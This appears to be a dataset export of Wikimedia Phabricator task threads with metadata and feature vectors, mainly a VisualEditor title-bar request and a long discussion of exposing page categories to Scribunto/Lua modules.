+However, I would like to do the same for GuidedTour.  Currently, we have it at http://growthdoc.wmflabs.org/GuidedTour/ .",,,1393639541,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-cci6rbbarnfeumyquutn,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+50272,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,"Wikitext edit has page title ""Editing Foobar"", as opposed to reading-mode's ""Foobar"". For people with a number of tabs open, it'd be great for them to get a handle on where they are by updating the window title to prepend ""Editing "" to it (and remove it on save).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1368044160,1368885131.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jhka5utrurrafo6ytxhv,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+213634,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,"Yes, re-using 'editing' & 'creating' messages.
+
+(In reply to comment #2)
+> (In reply to comment #1)
+> > And 'Creating'.
+> 
+> Ah, yes. Presumably they're existing MW messages to steal, avoiding
+> duplication
+> of i18n efforts?.",,,1368885209,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+213630,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,Merged; will go out with wmf5.,,,1368885131,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+213626,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,Related URL: https://gerrit.wikimedia.org/r/64325 (Gerrit Change I9dcc8ec2c37a7ff9cff6cedb7bdb1fed1bdc4deb),,,1368807251,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+213623,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,"(In reply to comment #1)
+> And 'Creating'.
+
+Ah, yes. Presumably they're existing MW messages to steal, avoiding duplication of i18n efforts?.",,,1368804528,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+213619,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,And 'Creating'.,,,1368804345,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+50175,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"It would be helpful to have a built-in method in Scribunto/Lua that allows retrieving a list of the categories used on a page.
+
+For example, <https://en.wikipedia.org/wiki/Einar_Schleef> would return a list that includes:
+
+* German dramatists and playwrights
+* 1944 births
+* 2001 deaths
+
+As these categories are included on this page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**: {T20596}",Low,25.0,1367867880,1723050710.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_description,resolved,True,c1,1,False,False,False,-8,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+2397170,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 Thank you! One more hesitant suggestion: I was looking for something to link the term ""edit notices"" to, and found the page https://www.mediawiki.org/wiki/Manual:Interface/Edit_notice - I wonder if it would be worth adding an example there for this new capability? (~~Or perhaps the Scribunto requirement makes this unfeasible?~~ EDIT: (I'm probably wrong here, I see it's default with 1.34+))",,,1723770787,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,0
+2397164,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 Thank you! One more hesitant suggestion: I was looking for something to link the term ""edit notices"" to, and found the page https://www.mediawiki.org/wiki/Manual:Interface/Edit_notice - I wonder if it would be worth adding an example there for this new capability? (Or perhaps the Scribunto requirement makes this unfeasible?)",,,1723768444,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,0
+2397025,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@Quiddity I have documented the new property in the [[https://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#Title_objects|Lua reference manual]]. Suggested blurb for tech news:
+
+> Page categories are now accessible in Lua modules via `categories` property of [[https://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#Title_objects|mw.title objects]]. This enables use cases like category-specific editnotices.",,,1723746686,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+2396608,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 Hi, I'm wondering if you're able to help answer any of the requests in my comment above? (Or anyone familiar, who sees this!) But I also guess you may still be traveling/recovering/catching-up from Wikimania, so no rush if it needs to wait a week or two! Thanks.",,,1723675356,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+2393088,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Hi, this sounds great, and thank you Pppery for adding the user-notice tag. Two requests, and a note:
+1. Please could someone **suggest some wording for a Tech News entry**? -- I've read the comments above, and the linked gerrit patch, but I'm still uncertain how to clearly describe the new function(s?) that will be available to editors. 
+  * Here's a rough-guess attempt (and structure example): 
+  * ""Editors can now use Lua code to get a listing of categories used in a page. This enables [example use-case?]. The [link]documentation has details and examples[/link] of how this new function can be used.
+2. Please could someone write (or link us to any existing) **permanent documentation for the new function(s)**? -- I.e. It seems like it would be good to have a page-section on MediaWiki-wiki for any details and examples. That will also make it possible to have a shorter Tech News entry that simply links to those details/examples!
+* Note: I see the gerrit commit-msg says ""//This enables category-specific editnotices (T85372) and other use-cases.//"" -- Maybe that task needs an update (of some sort)? Or to be highlighted in the docs/TN entry if it's already available due to this task's resolution?
+Thanks!",,,1723058925,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,579,,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+2392982,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Change #919459 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Scribunto@master] Expose page categories to Lua%%%
+https://gerrit.wikimedia.org/r/919459",,,1723049408,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,579,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2327567,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I struggled to get proxying to work on the second test wiki I created, but I was able to still test the specific use case of category editnotices on the first test wiki and that functions correctly. We probably need more use cases tested before the change can be implemented.",,,1714666635,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+2327566,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I struggled to get proxying to work on the second test wiki I created, but I was able to still test the specific use case of category editnotices and that functions correctly. We probably need more use cases tested before the change can be implemented.",,,1714666610,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+2327487,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Awesome Aasim using patch(es) linked to this task:
+[[ https://patchdemo.wmflabs.org/wikis/29fac70752/w ]]",,,1714661371,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2327484,Scribunto/Lua should have a built-in method for retrieving categories used on a page,Okay I will just initialize a new wiki with proxying from EN Wikipedia.,,,1714661181,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,565,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+2323873,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9746242, @Awesome_Aasim wrote:
+> One can you enable proxying articles from en.wiki?
+
+No, I don’t think it’s possible to enable proxying after creating the patch demo. If important, you can create a new patch demo with proxying enabled; otherwise, just copy the necessary pages with an edit summary linking to the enwiki page.
+
+> And second, can you give the test account admin and interface-admin so I can test a specific use case (category based editnotices) with the Lua categories?
+
+You can log in with the user name `Patch Demo` and the password `patchdemo1` and give yourself admin rights (or just use that account directly). This is a standard account that works on any Patch Demo wiki.",,,1714139068,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,564,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+2323504,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@Novem_Linguae I created a test account called ""Test"" on the test wiki you created on patch demo. I want to know if you can do a couple of things: One can you enable proxying articles from en.wiki? And second, can you give the test account admin and interface-admin so I can test a specific use case (category based editnotices) with the Lua categories?",,,1714074781,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,564,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0
+2320238,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"There is very much an error with this. Page is not in A so gets put in A, but now that the page is in A the parser function says that we are now in A and does not category link. This is a less obvious self reference loop. The page should detect that it is getting categorization information about itself, do a parse, and after recursing one down say ""template loop detected: A"" and throw the page into ""pages with template loops"". Something similar to what happens when you construct an actual template loop like this:{F47620082}",,,1713574509,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,563,,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+2320143,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9730478, @Awesome_Aasim wrote:
+> https://patchdemo.wmflabs.org/wikis/878c4bb105/wiki/A says that the page is in A, even though it clearly is not from the category bar. This might be the ""unstable parses"" that matmarex was alluding to.
+
+I don't see an issue. By the logic you have, page should be categorised to Category:A if it wasn't already in it. Once this is done, the page is //now// in Category:A and is indicated as such. 
+
+I think we have established already that there are no ""unstable parses"". Purging the page any number of times doesn't change its categorisation. ",,,1713559024,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,563,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+2320079,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Thank you. I just tested out the categories and specifically the undefined behavior which would result in a template loop for any other parser function.
+
+https://patchdemo.wmflabs.org/wikis/878c4bb105/wiki/A says that the page is in A, even though it clearly is not from the category bar. This might be the ""unstable parses"" that matmarex was alluding to.
+
+Can we maybe find a way to detect these template loops and throw an error in the Lua code if one occurs?",,,1713550469,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,563,,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+2313439,Scribunto/Lua should have a built-in method for retrieving categories used on a page,@Awesome_Aasim You can do so: https://toolhub.wikimedia.org/tools/patchdemo,,,1712727381,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,562,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0
+2313396,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Novem Linguae using patch(es) linked to this task:
+[[ https://patchdemo.wmflabs.org/wikis/878c4bb105/w ]]",,,1712709797,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,562,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2313283,Scribunto/Lua should have a built-in method for retrieving categories used on a page,Might we be able to get this on a test wiki so we can ensure that there aren't any problems with the patch?,,,1712694065,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,562,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+2303800,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9595853, @SD0001 wrote:
+> The proposed patch reads the categories from the db, sidesteping any ""cross-communication"" concerns. The tradeoff is that the categories reflect the ones produced by the last parsed version of the page, so if someone adds some categories and invokes this function on the current page in the same edit, the page is temporarily saved with lua returning outdated result, which gets fixed on the next purge or edit[0]. 
+
+I view this as a feature, not a bug -- it breaks a possible cycle and avoids doing a full parse of the page just to extract categories.",,,1711390959,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,560,,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+2296031,Scribunto/Lua should have a built-in method for retrieving categories used on a page,I am also going to backtrack from what I was saying about the template loop issue. Instead of forbidding categorization... why not just add the page to the Category:Pages with template loops category?,,,1710298174,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,558,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+2296030,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 IMHO I think any effort to expose categories to Lua is better than nothing at all.
+
+A more robust editnotice load module I worked on testwiki https://test.wikipedia.org/wiki/Module:Editnotice_load uses some hackery to get the categories from the (preprocessed) wikitext, it takes forever to load on large pages, like on this fork of Taylor Swift from enwiki: https://test.wikipedia.org/w/index.php?title=Taylor_Swift&action=edit
+
+I don't think the result is even cached when used in interface messages, is it...",,,1710298027,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,558,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,1,0,1
+2289961,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"The proposed patch reads the categories from the db, sidesteping any ""cross-communication"" concerns. The tradeoff is that the categories reflect the ones produced by the last parsed version of the page, so if someone adds some categories and invokes this function on the current page in the same edit, the page is temporarily saved with lua returning outdated result, which gets fixed on the next purge or edit[0]. 
+
+However, per @aaron on gerrit:
+> It's strange for this to use the categories of the previous parsed revision. It's also not well defined to use the currently-being-parsed revision either.
+>
+> It's one thing to depend on page existence, current revision text, or current revision metadata, but depending on the parsed current revision of another page (let alone the same page) to generate the parsed output feels overly ""higher-order"".
+
+This is something which does seem unprecedented in MediaWiki, although I'm not certain if it's a bad thing. As it stands, there are a lot of Scribunto feature requests where the only straightforward implementation is to use db data generated by the last parsed revision. 
+
+| **Feature** | **Ticket** | **Workaround** |
+| Reading categories (this ticket) | T50175 | [[https://en.wikipedia.org/wiki/Module:Mainspace_editnotice|Module:Mainspace_editnotice]], function blp_notice |
+| Reading local short description | T216356 | [[https://en.wikipedia.org/wiki/Module:GetShortDescription|Module:GetShortDescription]] |
+| Checking if page is a disambiguation page | T71441 | [[https://en.wikipedia.org/wiki/Module:Disambiguation|Module:Disambiguation]] |
+ 
+Current workarounds generally try processing the raw getContent(), which is worse.
+
+----
+[0]: Even this minor annoyance is not unfixable. I earlier tried fixing it by using VARY_REVISION output flag. This doesn't quite work as it causes a re-purge before the link tables are updated. Instead, we could use a custom parser output flag which triggers the LinksUpdateComplete hook to re-purge once the link table is up to date.
+",,,1709558536,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,557,,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1
+2245697,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I like the idea of forbidding Scribunto output from adding new categories once categories have been read, but the implementation of that could be fraught.  Parsoid will parse the scribunto code as a separate ""top level document"" so in theory we could zero-out ParserOutput::$mCategories() after the Scribunto code has returned. This still works even if the categories were placed in ParserOutput by parsing `[[Category:Foo]]` as wikitext.  Seems like a pretty big hammer, though, for a problem we'd hope wouldn't arise in practice.
+",,,1702407148,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,545,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+2211743,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
+> Here is a solution: only fill getCategories() for the page all the way up to the point of execution.
+
+The problem is that the page may not be parsed in the same order each time, so this “all the way up to the point of execution” may change from parse to parse, without any edits.
+
+> then we can also get that in the following scenario. Suppose we have the page ""Foo"" check to see if ""Foobar"" is in the page ""Bar"" and if so does nothing, and if not writes ""Foobar"". Now say ""Bar"" does the same for ""Foo"". Now the order of execution determines which page has ""Foobar"" and which one does not.
+
+Actually, not:
+* `mw.title:getContent()` returns the raw wikitext, without any parsing. This either contains or doesn’t contain `Foobar`; this fact can be changed only through an edit.
+* `frame:expandTemplate()` uses the parser to get the preprocessed content, and the parser errors out, adding the page to [[https://en.wikipedia.org/wiki/Category:Pages_with_template_loops|Category:Pages with template loops]], when it notices this kind of recursion.",,,1697358959,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,536,,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+2192740,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
+> There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.
+
